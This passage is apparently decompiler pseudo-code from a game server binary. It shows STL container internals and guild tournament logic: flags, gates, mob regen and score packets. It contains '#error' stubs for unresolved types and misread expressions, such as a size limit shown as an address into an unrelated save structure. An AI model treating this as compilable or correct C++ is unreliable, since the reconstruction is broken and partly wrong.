[bp-10h]@1 int v30; // [sp+24h] [bp-4h]@22 TickTimer *_Wherea; // [sp+30h] [bp+8h]@29 TickTimer *_Counta; // [sp+34h] [bp+Ch]@22 void *_Newvec; // [sp+38h] [bp+10h]@22 TickTimer *_Newveca; // [sp+38h] [bp+10h]@27 v4 = this; v5 = _Val->m_CurDelayTime; v6 = _Val->m_DelayTime; v7 = v4->_Myfirst; v8 = *(_DWORD *)&_Val->m_bEnable; v29 = &v25; _Tmp = v5; v27 = v6; v28 = v8; if ( v7 ) { v10 = (signed int)((unsigned __int64)(715827883i64 * (unsigned int)((char *)v4->_Myend - (char *)v7)) >> 32) >> 1; v9 = v10 + ((unsigned int)v10 >> 31); } else { v9 = 0; } v11 = _Count; if ( _Count ) { if ( v7 ) v12 = v4->_Mylast - v7; else v12 = 0; if ( 357913941 - v12 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v7 ) v13 = v4->_Mylast - v7; else v13 = 0; if ( v9 >= _Count + v13 ) { v20 = v4->_Mylast; v21 = _Where; _Newveca = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 12 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 12 * _Count)); std::_Copy_backward_opt( *(TickTimer **)&v21, _Wherea, _Newveca, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(TickTimer **)&v21, (TickTimer *)(*(_DWORD *)&v21 + 12 * _Count), (TickTimer *)&_Tmp); } else { std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( *(TickTimer **)&_Where, v20, (TickTimer *)(*(_DWORD *)&_Where + 12 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(12 * _Count)); v22 = v4->_Mylast; v23 = v4->_Mylast; v30 = 2; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 12, (TickTimer *)&_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (TickTimer *)v24; std::fill( *(TickTimer **)&_Where, (TickTimer *)(v24 - 12 * _Count), (TickTimer *)&_Tmp); } } else { if ( 357913941 - (v9 >> 1) >= v9 ) v14 = (v9 >> 1) + v9; else v14 = 0; if ( v7 ) v15 = v4->_Mylast - v7; else v15 = 0; if ( v14 < _Count + v15 ) v14 = _Count + std::vector>::size(v4); v16 = 12 * v14; _Newvec = operator new(12 * v14); v17 = v4->_Myfirst; v30 = 0; _Counta = std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( v17, *(TickTimer **)&_Where, (TickTimer *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Counta, v11, (TickTimer *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_Navigator::NaviPoint___std::allocator>( *(TickTimer **)&_Where, v4->_Mylast, &_Counta[v11], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v18 = (int)v4->_Myfirst; if ( v18 ) v18 = (signed int)((char *)v4->_Mylast - v18) / 12; v19 = v18 + v11; if ( v4->_Myfirst ) operator delete(v4->_Myfirst); v4->_Myend = (TickTimer *)((char *)_Newvec + v16); v4->_Mylast = (TickTimer *)((char *)_Newvec + 12 * v19); v4->_Myfirst = (TickTimer *)_Newvec; } } } //----- (00457970) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, TOURNAMENT_PLAYER_SCORE *_Val) { std::vector > *v4; // ebx@1 TOURNAMENT_PLAYER_SCORE *v5; // ecx@1 unsigned int v6; // edi@2 signed int v7; // edx@3 int v8; // eax@6 int v9; // eax@11 int v10; // edi@15 int v11; // eax@18 void *v12; // eax@22 TOURNAMENT_PLAYER_SCORE *v13; // ecx@22 TOURNAMENT_PLAYER_SCORE *v14; // ecx@22 int v15; // eax@23 unsigned int v16; // esi@25 TOURNAMENT_PLAYER_SCORE *v17; // edx@26 TOURNAMENT_PLAYER_SCORE *v18; // eax@26 void *v19; // eax@29 TOURNAMENT_PLAYER_SCORE *v20; // ecx@30 std::vector >::iterator v21; // edi@30 TOURNAMENT_PLAYER_SCORE *v22; // ecx@31 TOURNAMENT_PLAYER_SCORE *v23; // ST24_4@31 unsigned int v24; // esi@31 int v25; // [sp+0h] [bp-4Ch]@1 void *_Newvec; // [sp+Ch] [bp-40h]@22 TOURNAMENT_PLAYER_SCORE _Tmp; // [sp+10h] [bp-3Ch]@1 unsigned int cookie; // [sp+38h] [bp-14h]@33 int *v29; // [sp+3Ch] [bp-10h]@1 int v30; // [sp+48h] [bp-4h]@22 TOURNAMENT_PLAYER_SCORE *_Wherea; // [sp+54h] [bp+8h]@32 TOURNAMENT_PLAYER_SCORE *_Valb; // [sp+5Ch] [bp+10h]@22 TOURNAMENT_PLAYER_SCORE *_Vala; // [sp+5Ch] [bp+10h]@30 v4 = this; memcpy(&_Tmp, _Val, sizeof(_Tmp)); v5 = this->_Myfirst; v29 = &v25; if ( v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v5)) >> 32) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } if ( _Count ) { if ( v5 ) v8 = v4->_Mylast - v5; else v8 = 0; if ( (unsigned int)&wholesaver.ws_savestore[1254].esc_abstate.buffer[-v8 + 26478] < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = v4->_Mylast; v21 = _Where; _Vala = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 40 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 40 * _Count)); std::_Copy_backward_opt( *(TOURNAMENT_PLAYER_SCORE **)&v21, _Wherea, _Vala, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(TOURNAMENT_PLAYER_SCORE **)&v21, (TOURNAMENT_PLAYER_SCORE *)(*(_DWORD *)&v21 + 40 * _Count), &_Tmp); } else { std::_Uninit_copy>( *(TOURNAMENT_PLAYER_SCORE **)&_Where, v20, (TOURNAMENT_PLAYER_SCORE *)(*(_DWORD *)&_Where + 40 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(40 * _Count)); v22 = v4->_Mylast; v23 = v4->_Mylast; v30 = 2; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 40, &_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (TOURNAMENT_PLAYER_SCORE *)v24; std::fill( *(TOURNAMENT_PLAYER_SCORE **)&_Where, (TOURNAMENT_PLAYER_SCORE *)(v24 - 40 * _Count), &_Tmp); } } else { if ( (unsigned int)&wholesaver.ws_savestore[1254].esc_abstate.buffer[-(v6 >> 1) + 26478] >= v6 ) v10 = (v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) v10 = _Count + std::vector>::size(v4); v12 = operator new(40 * v10); v13 = v4->_Myfirst; _Newvec = v12; v30 = 0; _Valb = std::_Uninit_copy>( v13, *(TOURNAMENT_PLAYER_SCORE **)&_Where, (TOURNAMENT_PLAYER_SCORE *)v12, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Valb, _Count, &_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>( *(TOURNAMENT_PLAYER_SCORE **)&_Where, v4->_Mylast, &_Valb[_Count], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v14 = v4->_Myfirst; if ( v14 ) v15 = v4->_Mylast - v14; else v15 = 0; v16 = v15 + _Count; if ( v14 ) { v17 = v4->_Mylast; v18 = v4->_Myfirst; if ( v14 != v17 ) { do ++v18; while ( v18 != v17 ); } operator delete(v4->_Myfirst); } v19 = _Newvec; v4->_Myend = (TOURNAMENT_PLAYER_SCORE *)((char *)_Newvec + 40 * v10); v4->_Mylast = (TOURNAMENT_PLAYER_SCORE *)((char *)v19 + 40 * v16); v4->_Myfirst = (TOURNAMENT_PLAYER_SCORE *)v19; } } __security_check_cookie(cookie); } //----- (00457C30) -------------------------------------------------------- #error "457C30: undefined or illegal type '#748' (funcsize=199)" //----- (00457E10) -------------------------------------------------------- int std::_Tree_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Buynode(...) { void *v6; // esi@1 int v8; // [sp+0h] [bp-24h]@1 void *v9; // [sp+Ch] [bp-18h]@1 void *_Wherenode; // [sp+10h] [bp-14h]@1 int *v11; // [sp+14h] [bp-10h]@1 int v12; // [sp+20h] [bp-4h]@1 v11 = &v8; v6 = operator new(0x48u); _Wherenode = v6; v12 = 0; v9 = v6; LOBYTE(v12) = 1; if ( v6 ) std::_Tree_nod_std::allocator>_GuildTournamentSystem::GuildMemberInfo_std::less_std::allocator>>_std::allocator_std::allocator>_const_GuildTournamentSystem::GuildMemberInfo>>_0>>::_Node::_Node( (std::_Tree_nod,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator,std::allocator >,GuildTournamentSystem::GuildMemberInfo,std::less,std::allocator > >,std::allocator(GuildTournamentSystem::Gate *_First, GuildTournamentSystem::Gate *_Last, GuildTournamentSystem::Gate *_Val) { GuildTournamentSystem::Gate *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->bIsUse = _Val->bIsUse; i->hFlagNumber = _Val->hFlagNumber; i->hGateNumber = _Val->hGateNumber; std::basic_string_std::allocator>::assign( &i->strunUseGateName, &_Val->strunUseGateName, 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( &i->strUseGateName, &_Val->strUseGateName, 0, 0xFFFFFFFFu); } } //----- (00457F00) -------------------------------------------------------- void __cdecl std::fill(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, GuildTournamentSystem::AdvanMobItemRegenInfo *_Last, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val) { GuildTournamentSystem::AdvanMobItemRegenInfo *i; // esi@1 for ( i = _First; i != _Last; ++i ) { *(_QWORD *)&i->mapName.n3_name[0] = *(_QWORD *)&_Val->mapName.n3_name[0]; *(_DWORD *)&i->mapName.n3_name[8] = *(_DWORD *)&_Val->mapName.n3_name[8]; std::basic_string_std::allocator>::assign( &i->strGroupName, &_Val->strGroupName, 0, 0xFFFFFFFFu); i->AdvanIndex = _Val->AdvanIndex; } } //----- (00457F50) -------------------------------------------------------- int __thiscall GuildTournamentSystem::FlagInfo::operator_(int this, int a2) { int v2; // esi@1 v2 = this; *(_DWORD *)this = *(_DWORD *)a2; *(_WORD *)(this + 4) = *(_WORD *)(a2 + 4); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(this + 8), (std::basic_string,std::allocator > *)(a2 + 8), 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 36), (std::basic_string,std::allocator > *)(a2 + 36), 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 64), (std::basic_string,std::allocator > *)(a2 + 64), 0, 0xFFFFFFFFu); *(_DWORD *)(v2 + 92) = *(_DWORD *)(a2 + 92); *(_DWORD *)(v2 + 96) = *(_DWORD *)(a2 + 96); *(_DWORD *)(v2 + 100) = *(_DWORD *)(a2 + 100); *(_WORD *)(v2 + 104) = *(_WORD *)(a2 + 104); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 108), (std::basic_string,std::allocator > *)(a2 + 108), 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 136), (std::basic_string,std::allocator > *)(a2 + 136), 0, 0xFFFFFFFFu); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)(v2 + 164), (std::basic_string,std::allocator > *)(a2 + 164), 0, 0xFFFFFFFFu); return v2; } //----- (00458000) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::Gate *_First, unsigned int _Count, GuildTournamentSystem::Gate *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::Gate *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 GuildTournamentSystem::Gate *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) GuildTournamentSystem::Gate::Gate(v5, _Val); --v6; ++v5; LOBYTE(v10) = 0; } } //----- (004580E0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(GuildTournamentSystem::AdvanMobItemRegenInfo *_First, unsigned int _Count, GuildTournamentSystem::AdvanMobItemRegenInfo *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::AdvanMobItemRegenInfo *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 GuildTournamentSystem::AdvanMobItemRegenInfo *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 ) { std::_Construct(v5, _Val); --v6; ++v5; } } //----- (00458180) -------------------------------------------------------- GuildTournamentSystem::FlagInfo *__cdecl std::_Copy_backward_opt(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::FlagInfo *v4; // esi@1 GuildTournamentSystem::FlagInfo *v5; // edi@2 GuildTournamentSystem::FlagInfo *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { --v4; --v5; GuildTournamentSystem::FlagInfo::operator_((int)v5, (int)v4); } while ( v4 != _First ); result = v5; } return result; } //----- (004581C0) -------------------------------------------------------- GuildTournamentSystem::FlagInfo *__cdecl std::_Uninit_copy>(GuildTournamentSystem::FlagInfo *_First, GuildTournamentSystem::FlagInfo *_Last, GuildTournamentSystem::FlagInfo *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { GuildTournamentSystem::FlagInfo *v5; // esi@1 GuildTournamentSystem::FlagInfo *v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 GuildTournamentSystem::FlagInfo *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) GuildTournamentSystem::FlagInfo::FlagInfo(v5, v6); ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (00458260) -------------------------------------------------------- #error "458260: undefined or illegal type '#331' (funcsize=149)" //----- (00458440) -------------------------------------------------------- void __thiscall GuildTournamentSystem::SendScorePacket::_SendScorePacket(GuildTournamentSystem::SendScorePacket *this) { GuildTournamentSystem::SendScorePacket *v1; // esi@1 v1 = this; if ( this->m_vecPlayerScores._Myfirst ) operator delete(this->m_vecPlayerScores._Myfirst); v1->m_vecPlayerScores._Myfirst = 0; v1->m_vecPlayerScores._Mylast = 0; v1->m_vecPlayerScores._Myend = 0; } //----- (00458470) -------------------------------------------------------- #error "458470: undefined or illegal type '#331' (funcsize=86)" //----- (00458550) -------------------------------------------------------- #error "458550: undefined or illegal type '#331' (funcsize=76)" //----- (00458600) -------------------------------------------------------- #error "458600: undefined or illegal type '#331' (funcsize=147)" //----- (004587C0) -------------------------------------------------------- #error "4587C0: undefined or illegal type '#331' (funcsize=124)" //----- (00458930) -------------------------------------------------------- #error "458930: undefined or illegal type '#331' (funcsize=115)" //----- (00458A60) -------------------------------------------------------- #331 *__thiscall GuildTournamentSystem::GuildGroup::GetGuildMaster(GuildTournamentSystem::GuildGroup *this) { GuildTournamentSystem::GuildMemberInfo *v1; // eax@1 char *v2; // ecx@1 #331 *result; // eax@3 int v4; // edi@4 v1 = this->m_vecGuildMembers._Myfirst; v2 = (char *)&this->m_vecGuildMembers; if ( v1 && (*((_DWORD *)v2 + 2) - (signed int)v1) / 28 ) { v4 = *((_DWORD *)v2 + 1); if ( !v4 || !((*((_DWORD *)v2 + 2) - v4) / 28) ) std::vector>::_Xran((std::vector > *)v2); result = ShineObjectManager::som_GetObject(&shineobjmanager, *(_WORD *)v4); if ( !result || *(_DWORD *)(v4 + 4) ) result = 0; } else { result = 0; } return result; } //----- (00458AE0) -------------------------------------------------------- #error "458AE0: undefined or illegal type '#331' (funcsize=156)" //----- (00458CC0) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::SetAdvan(GuildTournamentSystem::GuildGroup *this, GuildTournamentSystem::GuildGroup::Advantage *val) { int v2; // eax@1 unsigned int v3; // ebp@1 char *v4; // edi@1 int v5; // eax@2 int v6; // esi@4 unsigned int v7; // eax@6 int v8; // esi@6 const char *v9; // ecx@7 MobRegenClass::MobBreederGroup *v10; // ecx@9 const char *v11; // esi@11 ORToken v12; // [sp-14h] [bp-2Ch]@9 int v13; // [sp-10h] [bp-28h]@9 int v14; // [sp-Ch] [bp-24h]@9 int v15; // [sp-8h] [bp-20h]@9 int v16; // [sp-4h] [bp-1Ch]@9 GuildTournamentSystem::GuildGroup *v17; // [sp+10h] [bp-8h]@1 ORToken *v18; // [sp+14h] [bp-4h]@9 int vala; // [sp+1Ch] [bp+4h]@1 *(_DWORD *)&this->m_Advan.m_IsAdvan = *(_DWORD *)&val->m_IsAdvan; v2 = val->m_nLevel; v17 = this; this->m_Advan.m_nLevel = v2; v3 = 0; v4 = (char *)&this->m_vecAdenItemInfo; vala = 0; while ( 1 ) { v5 = *((_DWORD *)v4 + 1); if ( !v5 ) break; if ( v3 >= (*((_DWORD *)v4 + 2) - v5) / 44 ) break; v6 = *((_DWORD *)v4 + 1); if ( !v6 || (*((_DWORD *)v4 + 2) - v6) / 44 <= v3 ) std::vector>::_Xran((std::vector > *)v4); v7 = *(_DWORD *)(v6 + vala + 36); v8 = vala + v6; if ( v7 < 0x10 ) v9 = (const char *)(v8 + 16); else v9 = *(const char **)(v8 + 16); v18 = &v12; v16 = 0; v15 = 0; v14 = 0; v13 = 0; *(_DWORD *)&v12.ort_Name[0] = 0; strncpy(v12.ort_Name, v9, 0x14u); v10 = MobHatchery::mg_FindBreedGroup(mobhatchery, (Name3 *)v8, v12); if ( v10 ) { if ( v17->m_Advan.m_IsAdvan && *(_DWORD *)(v8 + 40) <= (unsigned int)v17->m_Advan.m_nLevel ) { MobRegenClass::MobBreederGroup::mbg_SetEnableNextRegen(v10, 1); ++v3; vala += 44; } else { MobRegenClass::MobBreederGroup::mbg_SetEnableNextRegen(v10, 0); ++v3; vala += 44; } } else { if ( *(_DWORD *)(v8 + 36) < 0x10u ) v11 = (const char *)(v8 + 16); else v11 = *(const char **)(v8 + 16); AssertClass::ac_AssertFail(&shineassert, "GuildTournamentSystem::GuildGroup Not Find BreedGroup :", v11); ++v3; vala += 44; } } } //----- (00458E20) -------------------------------------------------------- void __thiscall GuildTournamentSystem::GuildGroup::SetFlagMultiple(GuildTournamentSystem::GuildGroup *this, int val) { char *v2; // eax@1 GuildTournamentSystem::GuildGroup *v3; // edi@1 unsigned int v4; // ebp@1 char *v5; // esi@1 int i; // ebx@1 int v7; // eax@2 int v8; // edi@4 void *v9; // edi@6 TickTimer *v10; // ecx@11 bool v11; // [sp-4h] [bp-30h]@11 GuildTournamentSystem::GuildGroup *v12; // [sp+10h] [bp-1Ch]@1 AxialListPacketBroadcast alchat; // [sp+14h] [bp-18h]@9 int v14; // [sp+28h] [bp-4h]@9 v2 = gpp.pp_Buffer; v3 = this; *(_WORD *)gpp.pp_Buffer = 29938; v2[2] = val; v4 = 0; v12 = this; *(_DWORD *)(v2 + 3) = this->m_GuildNumber; v5 = (char *)&this->m_vecGuildMembers; for ( i = 0; ; i += 28 ) { v7 = *((_DWORD *)v5 + 1); if ( !v7 ) break; if ( v4 >= (*((_DWORD *)v5 + 2) - v7) / 28 ) break; v8 = *((_DWORD *)v5 + 1); if ( !v8 || (*((_DWORD *)v5 + 2) - v8) / 28 <= v4 ) std::vector>::_Xran((std::vector > *)v5); v9 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, *(_WORD *)(i + v8)); if ( v9 ) { AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 7); v14 = 0; ShineObjectClass::ShineObject::so_AllInMap(v9, (int)&alchat, 1); v14 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); v3 = v12; break; } v3 = v12; ++v4; } v3->m_FlagMultiple = val; if ( val <= 1 ) { v11 = 0; v10 = &v3->m_FlagMultiplelTime; } else { PacketContainer::pcb_SetSocketSession((ORField *)&v3->m_FlagMultiplelTime, (ORColumnHeader *)0x258); v11 = 1; v10 = &v3->m_FlagMultiplelTime; } TickTimer::Enable(v10, v11); } //----- (00458F60) -------------------------------------------------------- #error "458F60: undefined or illegal type '#331' (funcsize=134)" //----- (004590D0) -------------------------------------------------------- bool __thiscall GuildTournamentSystem::SendScorePacket::SendtoAllinMap(GuildTournamentSystem::SendScorePacket *this, #331 *a2, int PartMask) { char *v3; // edi@1 PROTO_NC_GUILD_TOURNAMENT_SCORE_CMD *v4; // eax@1 int v5; // edi@1 char *v6; // ecx@1 int v7; // eax@1 unsigned int v8; // ebx@3 int v9; // esi@3 int v10; // eax@4 int v11; // ebp@6 int v12; // eax@8 bool result; // al@11 AxialListPacketBroadcast alchat; // [sp+10h] [bp-18h]@10 int v15; // [sp+24h] [bp-4h]@10 int PartMaska; // [sp+30h] [bp+8h]@3 v3 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 29917; v4 = this->m_pPacket; v5 = (int)(v3 + 2); *(_BYTE *)v5 = v4->PartMask; *(_DWORD *)(v5 + 1) = v4->regNumber; *(_DWORD *)(v5 + 5) = v4->unAllScore; *(_DWORD *)(v5 + 9) = v4->unCaptureFlagCount; v6 = (char *)&this->m_vecPlayerScores; *(_DWORD *)(v5 + 13) = v4->unPlayerNum; v7 = *((_DWORD *)v6 + 1); if ( v7 ) v7 = (*((_DWORD *)v6 + 2) - v7) / 40; *(_DWORD *)(v5 + 13) = v7; v8 = 0; *(_BYTE *)v5 = PartMask; v9 = v5 + 25; PartMaska = -25 - v5; while ( 1 ) { v10 = *((_DWORD *)v6 + 1); if ( !v10 ) break; if ( v8 >= (*((_DWORD *)v6 + 2) - v10) / 40 ) break; v11 = *((_DWORD *)v6 + 1); if ( !v11 || (*((_DWORD *)v6 + 2) - v11) / 40 <= v8 ) std::vector>::_Xran((std::vector > *)v6); v12 = v11 + v9 + PartMaska; *(_DWORD *)(v9 - 8) = *(_DWORD *)(v9 + PartMaska + v11); *(_DWORD *)(v9 - 4) = *(_DWORD *)(v12 + 4); *(_DWORD *)v9 = *(_DWORD *)(v12 + 8); *(_DWORD *)(v9 + 4) = *(_DWORD *)(v12 + 12); *(_DWORD *)(v9 + 8) = *(_DWORD *)(v12 + 16); *(_DWORD *)(v9 + 12) = *(_DWORD *)(v12 + 20); *(_DWORD *)(v9 + 16) = *(_DWORD *)(v12 + 24); *(_DWORD *)(v9 + 20) = *(_DWORD *)(v12 + 28); *(_DWORD *)(v9 + 24) = *(_DWORD *)(v12 + 32); *(_DWORD *)(v9 + 28) = *(_DWORD *)(v12 + 36); ++v8; v9 += 40; } AxialListPacketBroadcast::AxialListPacketBroadcast(&alchat, &gpp, 40 * *(_DWORD *)(v5 + 13) + 19); v15 = 0; if ( a2 ) { ShineObjectClass::ShineObject::so_AllInMap((void *)a2, (int)&alchat, 1); v15 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); result = 1; } else { v15 = -1; AxialListPacketBroadcast::_AxialListPacketBroadcast(&alchat); result = 0; } return result; } //----- (00459280) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, GuildTournamentSystem::GuildMemberInfo *_Val) { std::vector > *v4; // edi@1 GuildTournamentSystem::GuildMemberInfo *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)(*(_DWORD *)&_Where - (_DWORD)v5 + ((unsigned __int64)(-1840700269i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32)) >> 4; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n( this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (004592F0) -------------------------------------------------------- std::_Tree,std::allocator >,0> >::iterator *__thiscall std::_Tree_std::allocator>_0>>::insert(std::_Tree,std::allocator >,0> > *this, std::_Tree,std::allocator >,0> >::iterator *result, std::_Tree,std::allocator >,0> >::iterator _Where, std::pair *_Val) { std::_Tree,std::allocator >,0> > *v4; // edi@1 std::_Tree,std::allocator >,0> >::iterator *v5; // eax@2 std::_Tree_nod,std::allocator >,0> >::_Node *v6; // eax@3 std::pair *v7; // esi@3 std::_Tree_nod,std::allocator >,0> >::_Node *v8; // eax@7 const unsigned int v9; // ebp@9 bool v10; // cf@9 int v11; // ecx@21 char v12; // [sp+8h] [bp-8h]@21 v4 = this; if ( !this->_Mysize ) { std::_Tree_std::allocator>_0>>::_Insert( this, result, 1, this->_Myhead, _Val); return result; } v6 = this->_Myhead; v7 = _Val; if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)_Where == v6->_Left ) { if ( _Val->first < *(_DWORD *)(*(_DWORD *)&_Where + 12) ) { std::_Tree_std::allocator>_0>>::_Insert( this, result, 1, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&_Where, _Val); return result; } goto LABEL_21; } if ( (std::_Tree_nod,std::allocator >,0> >::_Node *)_Where == v6 ) { v8 = v6->_Right; if ( v8->_Myval.first < _Val->first ) { std::_Tree_std::allocator>_0>>::_Insert( this, result, 0, v8, _Val); return result; } goto LABEL_21; } v9 = _Val->first; v10 = *(_DWORD *)(*(_DWORD *)&_Where + 12) < _Val->first; if ( *(_DWORD *)(*(_DWORD *)&_Where + 12) > _Val->first ) { _Val = (std::pair *)_Where; std::_Tree_std::allocator>_0>>::const_iterator::_Dec((std::_Tree,std::allocator >,0> >::const_iterator *)&_Val); if ( _Val[1].second < v9 ) { if ( *(_BYTE *)(_Val[1].first + 21) ) { std::_Tree_std::allocator>_0>>::_Insert( v4, result, 0, (std::_Tree_nod,std::allocator >,0> >::_Node *)_Val, v7); v5 = result; } else { std::_Tree_std::allocator>_0>>::_Insert( v4, result, 1, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&_Where, v7); v5 = result; } return v5; } v10 = *(_DWORD *)(*(_DWORD *)&_Where + 12) < v9; } if ( !v10 || (_Val = (std::pair *)_Where, std::_Tree_std::allocator>_1>>::const_iterator::_Inc((std::_Tree,std::allocator >,0> >::const_iterator *)&_Val), (std::_Tree_nod,std::allocator >,0> >::_Node *)_Val != v4->_Myhead) && v9 >= _Val[1].second ) { LABEL_21: v11 = *(_DWORD *)&std::_Tree_std::allocator>_0>>::insert( v4, (std::pair,std::allocator >,0> >::iterator,bool> *)&v12, v7)->first.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]; v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v11; return v5; } if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)&_Where + 8) + 21) ) { std::_Tree_std::allocator>_0>>::_Insert( v4, result, 0, *(std::_Tree_nod,std::allocator >,0> >::_Node **)&_Where, v7); v5 = result; } else { std::_Tree_std::allocator>_0>>::_Insert( v4, result, 1, (std::_Tree_nod,std::allocator >,0> >::_Node *)_Val, v7); v5 = result; } return v5; } //----- (00459460) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, TickTimer *_Val) { std::vector > *v4; // edi@1 TickTimer *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 